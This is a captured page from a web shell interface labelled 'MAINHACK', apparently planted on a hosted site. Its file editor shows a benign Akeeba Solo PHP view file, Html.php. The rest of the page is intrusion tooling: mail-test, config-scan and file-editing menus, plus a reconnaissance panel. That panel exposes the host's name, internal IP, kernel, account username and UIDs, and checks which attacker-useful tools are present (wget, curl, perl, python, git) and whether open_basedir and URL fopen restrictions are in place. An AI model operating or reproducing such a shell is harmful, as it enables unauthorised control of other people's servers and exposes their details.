[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Html.php
<?php /** * @package solo * @copyright Copyright (c)2014-2026 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace Solo\View\Log; use Akeeba\Engine\Factory; use Awf\Mvc\View; use Awf\Utils\Template; use Solo\Model\Log; use Solo\View\ViewTraits\ProfileIdAndName; class Html extends View { use ProfileIdAndName; /** * Big log file threshold: 2Mb */ const bigLogSize = 2097152; /** * List of available log files * * @var array */ public $logs = []; /** * Currently selected log file tag * * @var string */ public $tag; /** * Is the select log too big for being * * @var bool */ public $logTooBig = false; /** * Size of the log file * * @var int */ public $logSize = 0; /** * Setup the main log page * * @return boolean */ public function onBeforeMain() { /** @var Log $model */ $model = $this->getModel(); $this->logs = $model->getLogList(); $tag = $model->getState('tag', '', 'string'); if (empty($tag)) { $tag = null; } $this->tag = $tag; // Let's check if the file is too big to display if ($this->tag) { $logFile = Factory::getLog()->getLogFilename($this->tag); if (!@is_file($logFile) && @file_exists(substr($logFile, 0, -4))) { /** * Bad host: the log file akeeba.tag.log.php may not exist but the akeeba.tag.log does. */ $logFile = substr($logFile, 0, -4); } if (@file_exists($logFile)) { $this->logSize = filesize($logFile); $this->logTooBig = ($this->logSize >= self::bigLogSize); } } // Load the Javascript Template::addJs('media://js/solo/log.min.js', $this->container->application); $document = $this->container->application->getDocument(); $src = $this->container->router->route('index.php?view=Log&task=iframe&format=raw&tag=' . urlencode($this->tag)); $document->addScriptOptions('akeeba.Log.iFrameSrc', $src); $this->getProfileIdAndName(); return true; } /** * Setup the iframe display * * @return boolean */ public function onBeforeIframe() { /** @var Log $model */ $model = $this->getModel(); $tag = $model->getState('tag', '', 'string'); if (empty($tag)) { $tag = null; } $this->tag = $tag; $this->setLayout('raw'); $this->container->application->getDocument()->setMimeType('text/html'); return true; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697